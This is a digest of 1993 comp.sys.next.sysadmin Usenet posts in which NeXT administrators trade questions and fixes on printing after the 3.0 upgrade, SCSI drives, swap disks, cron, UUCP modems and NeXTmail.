Newsgroups: comp.sys.next.sysadmin From: jland@lodge.nwu.edu (John Landwehr) Subject: Re: SLIP and PPP experiences Message-ID: <1993May31.152109.952@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA References: <1993May30.015124.2705@news.acns.nwu.edu> Date: Mon, 31 May 1993 15:21:09 GMT In article <1993May30.015124.2705@news.acns.nwu.edu> jland@lodge.nwu.edu (John Landwehr) writes: > In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben > Bernhard) writes: > > I'm considering setting myself up with a slip or ppp connection to the > > office. I'd like to hear about your experiences. > > Check out my paper at sonata.cc.purdue.edu: > /pub/next/docs/SLIP_PPP_Paper.ps.Z > Also, check out NeXTanswers.... Another article of mine is available as document 1011 "Taking your network home..." If you haven't checked this service out yet, send mail to: nextanswers@next.com with subject: help index Or, to retrieve just my article in ascii- subject: 1011 ascii Otherwise, Subject: 1011 will send NeXTmail attachments. -- John Landwehr NeXT Campus Consultant, Chicago 708-864-7811 jland@nwu.edu
Newsgroups: comp.sys.next.sysadmin From: amehta@yale.edu (Anand Mehta) Subject: Setting up Drives > 660mb Message-ID: <1993May31.160008.7925@news.yale.edu> Sender: news@news.yale.edu (USENET News System) Organization: Yale Univ. Science & Engineering Computing Facility, New Haven, CT 06520 Date: Mon, 31 May 1993 16:00:08 GMT I have just purchased a Quantum P1225 (1.2gig) harddrive. After looking through the documentation, it seems that the configurations that the build utilities know about are 660 and 330mb. Has anyone installed this model drive/Could anyone tell me what I have to do in order to build it correctly? What else is needed besides a correct disktab? Thanks, -Anand Academic Computing Services Yale University -- =============================================================================== Anand Mehta mehta-anand@yale.edu 436-1437 Computing Assistant, Pierson We dance round in a ring and suppose, But the Secret sits in the middle and knows. ===============================================================================
Newsgroups: comp.sys.next.sysadmin From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier) Subject: Printer Description File not available... ??? Message-ID: <1993May31.154652.17212@cerberus.ulaval.ca> Sender: news@cerberus.ulaval.ca Organization: Universite Laval Date: Mon, 31 May 1993 15:46:52 GMT Hello World, Just came back from vacation, my slab -- which remained on for a month -- is acting up... the print panel tells me "Printer Description File not available", so cannot print.. I looked up lpd-errs, the last line was: May 28 10:30:46 arrakis lpd[110]: Removing spool directory for Local_Printer Any idea what could be going on? Thks! -- +-------------------------------------------------------+ | Antoine Gautier | | Departement OSD, FSA | | Universite Laval, Quebec, PQ | +-------------------------------------------------------+ Disclaimer: I wish my employer had opinions... :+)
Newsgroups: comp.sys.next.sysadmin From: ntomczak@vega.math.ualberta.ca (N Tomczak-Jaegermann) Subject: Re: set user cron job Message-ID: <ntomczak.738869643@vega> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> <C7nF0v.8Dr@northstar.com> Date: Mon, 31 May 1993 17:34:03 GMT A Ried Thiel (ried@NorthStar.com) writes: >> Hao Wang (hwang@nextvm5.corp.mot.com) wrote: >> : Hi there, >> : >> : I am try to set up a cron job for user. I have no document. It seems >> : different compare with other unix box. Can some out there help me. >> : Thanks. >It is possible using NeXT's cron to have the command run as that user. >0 1 * * * root su <username> -c '<program>' Man pages also document 'at' command and "at" jobs can be run by users. I did not try it on NeXT, but I know that it used to work on other BSD-like machines. :-) Michal Jaegermann ntomczak@vega.math.ualberta.ca
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: how to crash any NeXT Message-ID: <1993May30.212023.9515@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> Date: Sun, 30 May 1993 21:20:23 GMT In article <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> mrc@Ikkoku-Kan.Panda.COM (Mark Crispin) writes: > The following little program will crash any NeXT. It was posted on > comp.protocols.tcp-ip, and a short while later a bugfix was also posted. For a longer time, NeXT had a severe network bug which occured always with the sybase-server. I have reported this bug, but it's still here in 3.0. The trick is: Sybase (in the standard configuration) uses port numbers < 5000, and those are the same numbers as Next (and any other unix) gives automatically when establishing tcp-ip-connections. When there is a collision of the two portnumbers, the machine will hang completely. So don't use port numbers <= 5000 ! -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin From: kjell@oops.se (Kjell Nilsson) Subject: Re: set user cron job Message-ID: <1993May31.201150.1689@oops.se> Sender: kjell@oops.se Organization: OOPSart - ObjectWareHouse References: <ntomczak.738869643@vega> Date: Mon, 31 May 1993 20:11:50 GMT > A Ried Thiel (ried@NorthStar.com) writes: > >It is possible using NeXT's cron to have the command run as that user. > > >0 1 * * * root su <username> -c '<program>' What does this parameter '-c' do. I can't find it under 'man cron or su'?? Kjell Nilsson at OOPS
From: k0s8160@chenext1.tamu.edu (Kenji Seto) Newsgroups: comp.sys.next.sysadmin Subject: strange scsi msgs at boot time Date: 1 Jun 1993 01:27:57 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1uebat$fbd@tamsun.tamu.edu> Greetings, I just received a Fujitsu M2624F-512 500Mb harddrive and I ran the app, BuildDisk.App to install the operating system. I get some very strange messages on boot up. There are 2 disks on this system, a seagate mounted as sd1a(with scsi target number 3), and the fujitsu with mounted as sd0a(with scsi target number 0) I reboot as always [command][command][~] nmi > halt Once I get to the NeXt Rom Monitor I see the modified boot command that I run on all of are 32Mb RAM machines, but this is followed by weird messages as follows: NeXT> b Boot command: sd- nbuf=64 SCSI unexpected msg: 1 sc unexpected mes SCSI unexpected msg: 1 sc unexpected mes SCSI unexpected msg: 1 sc unexpected mes SCSI unexpected msg: 1 sc unexpected mes SCSI unexpected msg: 1 sc unexpected mes booting SCSI target 3, lun 0 blbk0 boot: sc () sdmach SCSI unexpected msg: 1 . . . .(many more such lines) . . SCSI command 0x10 config 0x57 Booting from SCSI target 3, lun0 ---------- At this point we leave the rom monitor and swith to the smaller screen, entitled 'NeXT Mach Operating System'. From this point on, it boots as expected off the fujitsu drive, and operates flawlessly. It appears that it gets some sort of strange signal from sd0a (at target 0) and then tries to boot from the secondary disk, sd1a (at target 3). Subsequently, it goes back and boots off of sd0a. It should be noted that a bootable version of NeXTStep 3.0 is on sd1a, and if it really wanted to it could sucessfully boot from that disk. Should I be worried about this problem and messages? After I go through the boot process, everything seems to work great. A couple years back Rory Bolt posted a low-level formatter for Fujitsu drives at Host: nova.cc.purdue.edu Path: /pub/next/1.0-releases/binaries/formatter_1.2.tar.z but I am reluctant to go this route, since it was meant for a different Fujitsu drive on the old NeXTStep2.0/2.1. Furthermore, I am not sure if that would even address my problem. Any help or insight would be appreciated. Thanks, -Kenji BTW- I have run this on mono-slabs and mono-turbos and I always get the same messages.
Newsgroups: comp.sys.next.sysadmin Subject: I have 32MB RAM, NS/FIP will only see 16MB Message-ID: <C7yzvy.88@news.otago.ac.nz> From: alastair@farli.otago.ac.nz (Alastair Thomson) Date: Wed, 2 Jun 1993 01:23:58 GMT Sender: usenet@news.otago.ac.nz (News stuff) Organization: University of Otago Hi there, We have a Compaq Deskpro 66M running NS/FIP Pre-release 1. We originally had 16MB of RAM in it and recently upgraded it to 32MB. The problem is that NeXTSTEP will still only see 16MB. Is this something specific to the pre release, or does it happen all the time? Any help would be appreciated as we need to demo a system in two weeks with our app that make the window server grow to about 26MB, so 16 makes it swap like crazy! Many thanks Alastair -- ===================================================================== | Alastair Thomson, | Phone +64-3-479-8347 University of Otago, | Fax +64-3-479-8529 Department of Computer Science, | e-mail: P.O. Box 56 | alastair@piglet.otago.ac.nz Dunedin | or ATHOMSON@otago.ac.nz New Zealand | NeXTmail Welcome "God loved the world so much, that he gave us His Son, to die in our place, so that we may have eternal life" John 3:16, paraphrase. =====================================================================
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware From: tabs@netcom.com (Network Account) Subject: printer problems after upgrade to 3.0 ... Message-ID: <tabsC7xDtH.I4G@netcom.com> Followup-To: comp.sys.next.sysadmin Summary: printer does not work after upgrade to 3.0 Keywords: lpd,printer,upgrade,printcap Sender: tabs@netcom.com Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Tue, 1 Jun 1993 04:29:40 GMT We have a repeat of the problem that we had months ago, but the earlier solution does not work. We upgraded out last NS2.1 hard disk to 3.0. Everything went smoothly except that the printer does not work anymore. Everytime we try to print we get the message: The application could not connect to the printing daemon The log file /usr/adm/lpd-errs has error messages: May 31 19:04:13 tabss1 lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory May 31 19:06:46 tabss1 lpd[114]: /usr/spool/lpd.lock: Too many levels of symbolic links We tried using printcap entries from a working 3.0 disk. We also tried copying netinfo from the alternate 3.0 boot disk. We tried manually starting lpd. The lpd daemon does not seem to start up. We probably tried all solutions recommended in the archived news articles from Nov last year to May this year. Maybe we are missing something obvious. Can someone please help. We had similar problem before, but fixing printcap entries worked at that time. Local_Printer: \ :lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf: \ :sd=/usr/spool/NeXT/Local_Printer:nxformat=3.0: \ :ty=NeXT 400 dpi Level II Printer:note=:sharedAs=NetworkPrinter: \ :sharedTo=/:_writers=*: tabs (tabs@netcom.com)
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: set user cron job Date: 1 Jun 1993 03:35:47 -0500 Organization: University of Illinois at Urbana Message-ID: <1uf4dh$99s@ux1.cso.uiuc.edu> References: <ntomczak.738869643@vega> <1993May31.201150.1689@oops.se> kjell@oops.se (Kjell Nilsson) writes: >> A Ried Thiel (ried@NorthStar.com) writes: >> >It is possible using NeXT's cron to have the command run as that user. >> >> >0 1 * * * root su <username> -c '<program>' > >What does this parameter '-c' do. I can't find it under 'man cron or su'?? It means run <program> as <username>. I don't think it was documented in the 3.0 man page. I'm far away from my 3.1 machine so I can't check there. It's a nice option. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: Re: printer problems after upgrade to 3.0 ... Sender: news@rchland.ibm.com Message-ID: <1993Jun01.132358.33537@rchland.ibm.com> Date: Tue, 01 Jun 1993 13:23:58 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <tabsC7xDtH.I4G@netcom.com> Organization: IBM Rochester Keywords: lpd,printer,upgrade,printcap In article <tabsC7xDtH.I4G@netcom.com>, tabs@netcom.com (Network Account) writes: |> We have a repeat of the problem that we had months ago, but the |> earlier solution does not work. |> |> We upgraded out last NS2.1 hard disk to 3.0. Everything went |> smoothly except that the printer does not work anymore. |> Everytime we try to print we get the message: |> |> The application could not connect to the printing daemon |> I had precisely this problem too. Finally I paid attention enough when Mr. Mahoney kept saying that to upgrade to 3.0 you must begin with BuildDisk (or the equivalent). I also would get kernel panics when reading some CDROMs. After a careful backup (and verification), I re-installed. When /etc/rc on the CDROM asked if it should destroy the data on my drive I answered, with trepidation, "yes" (or was it "y" :-)). In any case, since re-installing by cleaning my boot disk, everything has worked exactly as expected. Of course, your mileage may vary.
Newsgroups: comp.sys.next.sysadmin From: orourke@sophia.smith.edu (Joseph O'Rourke) Subject: Which cartridge for NeXT 400dpi Laser Printer? Message-ID: <1993Jun1.133738.14737@sophia.smith.edu> Organization: Smith College, Northampton, MA, US Distribution: usa Date: Tue, 1 Jun 1993 13:37:38 GMT Now that the catridge supplied with my NeXT printer is nearing exhaustion, I would like to buy a new one, but am uncertain what type it is. The catridge itself has no manufacturer's name on it. Will a Cannon or Hewlett-Packard catridge serve, and if so, which one? Or must I purchase replacements from NeXT? Thanks for any info!
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: printer problems after upgrade to 3.0 ... Message-ID: <C7y6yw.4qD@usenet.ucs.indiana.edu> Keywords: lpd,printer,upgrade,printcap Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <tabsC7xDtH.I4G@netcom.com> <1993Jun01.132358.33537@rchland.ibm.com> Date: Tue, 1 Jun 1993 14:59:19 GMT In article <1993Jun01.132358.33537@rchland.ibm.com> tpg@rchland.vnet.ibm.com (Terry Gliedt) writes: >In article <tabsC7xDtH.I4G@netcom.com>, tabs@netcom.com (Network Account) writes: >|> We have a repeat of the problem that we had months ago, but the >|> earlier solution does not work. >|> >|> We upgraded out last NS2.1 hard disk to 3.0. Everything went >|> smoothly except that the printer does not work anymore. >|> Everytime we try to print we get the message: >|> >|> The application could not connect to the printing daemon >|> > >I had precisely this problem too. Finally I paid attention enough when Mr. >Mahoney kept saying that to upgrade to 3.0 you must begin with BuildDisk (or the >equivalent). I also would get kernel panics when reading some CDROMs. After a >careful backup (and verification), I re-installed. When /etc/rc on the CDROM >asked if it should destroy the data on my drive I answered, with trepidation, >"yes" (or was it "y" :-)). In any case, since re-installing by cleaning my boot >disk, everything has worked exactly as expected. > >Of course, your mileage may vary. Well, you can get around the printer problem by blowing away the printer's entry in NetInfo and then reboot. You can fix the CD-ROM problem by copying /usr/filesystems/CDROM.fs off of the 3.0 CD. A bug in the upgrade didn't do this for you. -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Multiple swapfiles don't work Message-ID: <1993Jun1.150558.14338@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Date: Tue, 1 Jun 93 15:05:58 GMT Hi. I've set up multiple swapfiles in my /etc/swaptab, but it doesn't appear to work - the machine simply fills up the primary one, and never switches. Here are my settings: # # /etc/swaptab # /private/vm/swapfile prefer, lowat=16777216, hiwat=33554432 # 16 Meg low water mark, 33 Meg high water mark, preferred swapfile (i.e. use this first) # /clients/mnt/vm/swapfile lowat=16777216, nocompress # Ekstra swap plass I have a file with correct (I hope) permissions set in /clients/mnt/vm/swapfile However, the root fs has been down to 5Meg free, and still no sign of switching... It has been over 45 MB (way over the hiwat!) Has anyone gotten this to function successfully? I haven't tried pushing it over the edge, but am tempted, just to see the machine crash and _prove_ that there is a bug, but then again it could be that I haven't set things up correctly... :-) Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Which cartridge for NeXT 400dpi Laser Printer? Date: 1 Jun 1993 09:56:12 -0500 Organization: University of Illinois at Urbana Distribution: usa Message-ID: <1ufqmq$r7@ux1.cso.uiuc.edu> References: <1993Jun1.133738.14737@sophia.smith.edu> orourke@sophia.smith.edu (Joseph O'Rourke) writes: >Now that the catridge supplied with my NeXT printer is nearing >exhaustion, I would like to buy a new one, but am uncertain what >type it is. The catridge itself has no manufacturer's name on >it. Will a Cannon or Hewlett-Packard catridge serve, and if so, >which one? Or must I purchase replacements from NeXT? Thanks for >any info! The EP-S cartridge that fits (among other printers) the HP LaserJet Series II series and the Apple LaserWriter II series is the one you want. This has got to be the most popular cartridge so far, so they're fairly inexpensive (note: this does not count the 'personal' models such as the LaserJet IIp - they take a smaller cartridge) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: jdyer@henr.mc.xerox.com (John Dyer) Message-ID: <9306011700.AA09898@dogleg.henr.mc.Xerox.COM> Subject: FUN WITH NEXTSTEP3.0, UUCP and SUPRA32BIS/42BIS Date: Tue, 1 Jun 1993 10:00:55 PDT id AA09898; Tue, 1 Jun 93 13:00:55 EDT Well, I almost have it working, Thanks to many out there who have gotten me this far. Now when I make a connection and make a successful uucp login, I lose the connection. The modem does not hang up though, (it just hangs). Here is the pertinent info from the necessary files. I am polling only; my machine is not receiving incoming calls (yet). Many on the net suggest I get Taylor UUCP and avoid NeXT's buggy version. For those who have done it, what are the time constraints as well as risks? /etc/ttys ttydfb "/usr/etc/getty D38400" vt100 on /etc/gettytab h|std.38400|38400-baud:\ :sp#38400: x|D38400:Fast-Dial-38400:\ :nx=D19200:tc=38400-baud: /usr/etc/L-devices DIR cufb 0 38400 hayestone /usr/etc/L.sys grace Any DIR 38400 cufb \ "" \d\d\d\r\r \ "" AT \ OK AT&F2 \ OK ATQ0E1S0=1V1 \ OK ATDT1234567 \ "" P_ZERO => uulogin => uupassword /usr/spool/uucp/SYSLOG jdyer grace (5/31-21:14) (738897293.68) sent data 1082 bytes 1.70 secs /usr/spool/uucp/LOGFILE jdyer grace (5/31-21:14-9244) SUCCEEDED (call to grace ) jdyer grace (5/31-21:14-9244) OK (startup cufb 38400 baud) jdyer grace (5/31-21:14-9244) REQUEST (S D.fishbonB0122 D.fishbonS0122 jdyer) jdyer grace (5/31-21:14-9244) REQUEST (S D.fishbonX0120 X.fishbonA0123 jdyer) jdyer grace (5/31-21:17-9244) BAD READ (expected 'S' got FAIL (2)) jdyer grace (5/31-21:17-9244) FAILED (conversation complete) As usual, any and all help appreciated. John Dyer jdyer@henr.mc.xerox.com
From: gary@ah3.cal.msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: last command puked again! Date: 1 Jun 1993 17:19:29 GMT Organization: Michigan State University Message-ID: <1ug331$k20@msuinfo.cl.msu.edu> Well, it's the beginning of the month and now when I do a last I just get garbage. This happenened last month too. Any suggestions? Last time, I just got the file (/usr/adm/wtmp, i think?) off a different machine and the first few entries were wrong but then it worked okay. Thanks! Gary -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University "There's nothing normal in life Except for the setting on your washing machine."
From: boyar001@coluber.mc.duke.edu (Bill Boyarsky) Newsgroups: comp.sys.next.sysadmin Subject: NeXT Mail Addresses storage ? Keywords: mail Message-ID: <15623@news.duke.edu> Date: 1 Jun 93 13:50:56 GMT Sender: news@news.duke.edu Does anyone know where NeXT mail stores data to support the Address functions: Groups, Private Groups, and Private Users ? Thanks -- Bill Boyarsky Duke University Medical Center Information Systems boyar001@mc.duke.edu boyar001@bullnext.mc.duke.edu (NeXT mail)
Newsgroups: comp.sys.next.sysadmin From: heidelj@alleg.edu (Jason Heideloff) Subject: Show and Tell Message-ID: <1993Jun1.185228.14962@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Tue, 1 Jun 1993 18:52:28 GMT Can someone out there please let me know if Show and Tell works under 3.0 (consistently)? If not what do people use to do sound and graphical demos of programs? Thanks, Jason Heideloff heidelj@alleg.edu
Newsgroups: comp.sys.next.sysadmin From: fxars@camelot.acf-lab.alaska.edu (Al Sparks) Subject: Re: A NOVICE SEEKS ADVICE... In-Reply-To: rawyatt@phakt.usc.edu's message of 31 May 1993 04: 44:26 -0700 Message-ID: <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> Sender: news@raven.alaska.edu (USENET News System) Organization: University of Alaska Fairbanks References: <1ucr2qINN32n@phakt.usc.edu> Date: Tue, 1 Jun 1993 20:13:12 GMT rawyatt@phakt.usc.edu (Robert Alexander Wyatt) writes: > Any advice would be much appreciated!!! > > Thanks! > > -Rob > > Please respond to: rwyatt@ata.com (NeXTmail of course!) > Well, in Unix, the thing to put in your .cshrc is umask. My umask is set at 022, which causes all files created in csh to be owner xwr only. The thing of it is, I don't know if the .cshrc affects NS. For that matter, does umask affect NS? === Al Sparks
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: NeXT Mail Addresses storage ? Message-ID: <C7yK9J.6Ko@usenet.ucs.indiana.edu> Keywords: mail Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <15623@news.duke.edu> Date: Tue, 1 Jun 1993 19:46:30 GMT In article <15623@news.duke.edu> boyar001@coluber.mc.duke.edu (Bill Boyarsky) writes: > >Does anyone know where NeXT mail stores data to support the Address >functions: Groups, Private Groups, and Private Users ? In the worst place possible: ~/.NeXT/.mailalias -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Summary: Using and internal as swapfile Message-ID: <1993Jun1.201716.15582@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Tue, 1 Jun 93 20:17:16 GMT Thanks to all the people who wrote in response to my query on how to use my internal as a swapdisk. What follows is the most explicit explanation I received, which worked for me. The others were all variations on this same theme. Thanks again to Magnus, Brian, Matt, Charles (Kincaid), David, and Charles (Lloyd). I tried sending email to all of you, but some of them bounced. > Q: How do I turn my old Quantum 105MB (or other) SCSI drive > into a swap drive? > > A: Its pretty easy, but there are a few tricks: The steps are: > > Step (0) Clean off the drive. > Step (1) Change the disk label to "swapdisk" > Step (2) Edit the file /etc/rc.swap > Step (3) type "halt" as root, and then reboot > ------------ > Step (0) Clean off the drive. > There are several ways to do this. > (a) If the disk is mounted: > just use "rm" to remove all the files on disk; e.g., > as root, do > rm /mydisk/* > if its mounted as /mydisk > (b) If the disk is not mounted: > just format it, using the neXT provided formatter > "sdform". E.g. as root do > sdform /dev/rsd0a -n > assuming the raw device name is /dev/rsd0a. > If you are not sure what the raw device is, before > formatting do > /usr/etc/scsimodes /dev/rsd0a > to show what disk is at this device; if its not the > desired one, check /dev/rsd[0--9]a til you it. > Optionally, you can mount the disk---as root do > /etc/mount -t 4.3 -o rw,noquata /dev/rsdev0a /mydisk > and then go to step (a) to clear it off. > > Step (1) Change the disk label to "swapdisk" > As root, do > disk -L swapdisk /dev/rsd0a > (assuming /dev/rsd0a is the raw device name). > As long as the disk lable is swapdisk (or anything > whose first 8 letters are swapdisk), the boot process will > mount the disk as /private/swapdisk and set it up as your > preferred swapping device automagically. There will still > be a swap file created on the boot drive, but it will swap > from the swapdisk when possible. > Step (2) Edit the file /etc/rc.swap. > This is the script that sets up the swapdrive at boot > time. As is, it limits the size of the swapfile to 30MB. > You should alter it to reflect the size of your drive. > As root, copy the original to rc.swap.orig, to have a > backup. Then, change the mode to writable: > chmod +w /etc/rc.swap > and go in and edit the following line: > > /usr/etc/mach_swapon -v -o prefer,lowat=16777216,hiwat=31457280 > > by changing the numbers to something reasonable, e.g. > lowat=40000000 and hiwat=95000000 for a 105MB Quantum > drive. If you don't want any limitations, set them to > zero, lowat=0 and hiwat=0. Save the file, and then do > chmod -w on it to make it read only again. > > Step (3) type "halt" as root, and then reboot. > The swapdisk will be used appropriately; do > ls -l /private/swapdisk/vm/swapfile > if you want to be sure it made your swapfile. > > Notes: (1) if you don't edit the rc.swap, you'll get stuck with > a swapdisk limited to 30MB or so. > (2) you CANNOT make a swap disk by using the builddisk > utility usr/etc/builddisk. Even though > /usr/etc/builddisk -s swapdisk <rawdevice> > _should_ configure <rawdevice> as a swapdisk, it does > not, but tells you it does. Actually, it does nothing > all, because the script /etc/BLD.swapdisk it runs on > your device is empty (take a look at it!). > --------------------------------------------------------------- > Also, you can do the man page on mach_swapon for info on how to > declare a file a swap file, or make it a preferred swapfile. You should also eliminate the entry for the internal from /etc/fstab. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin Subject: formatter program Message-ID: <1993Jun1.145750.5434@nic.csu.net> From: vqueved@nssnext.calstatela.edu (Victor Quevedo) Date: 1 Jun 93 14:57:48 PDT Keywords: format SCSI Does any one know the locaiton of the formatter program for SCSI disks. I have heard that there is a formatting program that will allow for smaller block sizes. I think the name is "formatter" with a little f. Thanks Victor Quevedo
Newsgroups: comp.sys.next.sysadmin From: dkk@cbnewsl.cb.att.com (david.k.kallman) Subject: Upgrading to 3.1 (How to do?) Organization: AT&T Bell Laboratories Date: Tue, 1 Jun 1993 19:25:59 GMT Message-ID: <C7yJBE.Hq3@cbnewsl.cb.att.com> Folks, We have 4 NeXT's at this site: 1 running 3.0, 2 running 2.2, 1 running 2.1. We have licenses for 3.0 for all 4 systems, but installed 3.0 on only one system. We plan to upgrade all 4 systems to 3.1. I just called NeXT. They are accepting 3.1 upgrade orders and (good news) will be shipping in 2 1/2 to 3 weeks. A question about 3.1: do I need to upgrade the three 2.x systems to 3.0 first before upgrading to 3.1, or can I upgrade them directly from 2.x to 3.1 using the one system upgraded from 3.0 to 3.1. (Note: I'm talking about how technically to do the upgrade not about the licenses - I think with purchasing four 3.0->3.1 licenses, we'll be OK license-wise, since all the systems are licensed for 3.0). Thanks. Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507 -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: IP Addresses for FTP sites needed Message-ID: <C7yqvG.uL@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Distribution: usa Date: Tue, 1 Jun 1993 22:09:16 GMT Hi, I would like to get some NextStep shareware programs but I am unable to FTP using just the site name. So please, if you IP addresses for these sites, please email them to me. I would very much appreciate it. 1) nova.cc.purdue.edu 2) boombox.micro.umn.edu 3) think.com Thanks much!! Bob Ngu P/S: Are any of these in FAT binaries or compiled to run on Intel platforms?
From: k0s8160@chenext1.tamu.edu (Kenji Seto) Newsgroups: comp.sys.next.sysadmin Subject: strage scsi msgs at boot time, solved Date: 2 Jun 1993 00:23:11 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1ugrtf$2vv@tamsun.tamu.edu> I would like to thank all those who replied to my posting, including: izumi@pinoko.berkeley.edu (Izumi Ohzawa Pierce Cantrell <pierce@cantrell.tamu.edu> mwg@med.pitt.edu (Michael Groff) Bill Chin <bchin@nextsrv1.andi.org> Ken Henry <beach!ken@sinkhole.unf.edu> It was indeed the problem that the jumper on the drive that controls the "syncronous mode" was still in tact, and just needed to be removed. Apparently, at boot time, it was loading the kernel from the secondary disk, and then switching back to the primary disk to complete the boot. If anyone would like more details, please feel free to e-mail me. Thanks again, -Kenji
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Re: Major hint on mailboxes Message-ID: <1993Jun02.005020.127574@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo References: <1u0ap4$ejd@alamut.cognet.ucla.edu> Date: Wed, 02 Jun 1993 00:50:20 GMT In article <1u0ap4$ejd@alamut.cognet.ucla.edu> bill@alamut.cognet.ucla.edu (William M. Eldridge) writes: > I meant to post this to sysadmin. > And I know this is in the user documentation, > but I never read it all the way through, as > I'm sure most people don't. > > Perhaps most people know this, but if you don't: > > I just discovered that Nextmail doesn't delete > mail you click delete on. You have to then > hit Command-k, or the compact option under > Utilities for that to happen. > > If you get a lot of mail, you could have a lot > of "deleted" files still saved that you don't > realize haven't been erased. I had 5.5 Meg extra, > my boss had about 20 Meg extra. Does anyone know of ANY command-line utility that can auto-magically clean up all of a user's Mailboxes? We use our NeXTs here in a classroom lab situation (Mathematica) and people keep sending mail back and forth from and to each other, and they never learn about compacting their mailboxes. I want something I can put in LogoutHook... - Kevin Wang
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: kurt@frsvnsvn.cts.com (Kurt Werle) Subject: Novell Probs. (NCP errors) Message-ID: <1993Jun2.011758.11551@frsvnsvn.cts.com> Keywords: Novell NCP errors Organization: Little to None Date: Wed, 2 Jun 1993 01:17:58 GMT I've been having problems with a NeXT (turbo slab) connected to a Novell (3.11, Arcnet/10baseT) network. When using GNU tar, and other 'directory intensive' tasks the server gives errors: date: error User (username) has exceeded outstanding NCP directory search limit. Or something very close to that. Sometimes the NeXT just does not receive some of the directory information, and sometimes it hangs the connection to the Novell Network. The connection eventually comes back, though I'm not sure what triggers the return... Anyone have similar problems/advice on this one? Thanks, Kurt
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: kafkouli@serss0 (George Kafkoulis) Subject: Maxtor MXT-540SL: info wanted Organization: Florida International University, Miami Distribution: usa Date: Wed, 2 Jun 1993 02:32:42 GMT Message-ID: <C7z32J.F2A@fiu.edu> Sender: news@fiu.edu (Usenet Administrator) Hi all. Does anyone know of any installation or other problems with the Maxtor MXT 540SL harddrive. It is supposed to be new 8.5-9ms seek time 6300rpm. I am planning to connect it to a mono NeXTstation as an external drive and make it the boot drive? Is `formatter 1.2' (Feb 92) working with this drive? Do I gain anything by making the internal 105MB a swapdisk? Any comments, information, receipes are welcomed. If there are any responses, then I will summarise and post it for the benefit of all new used-NeXT owners :-) Thanks in advance.
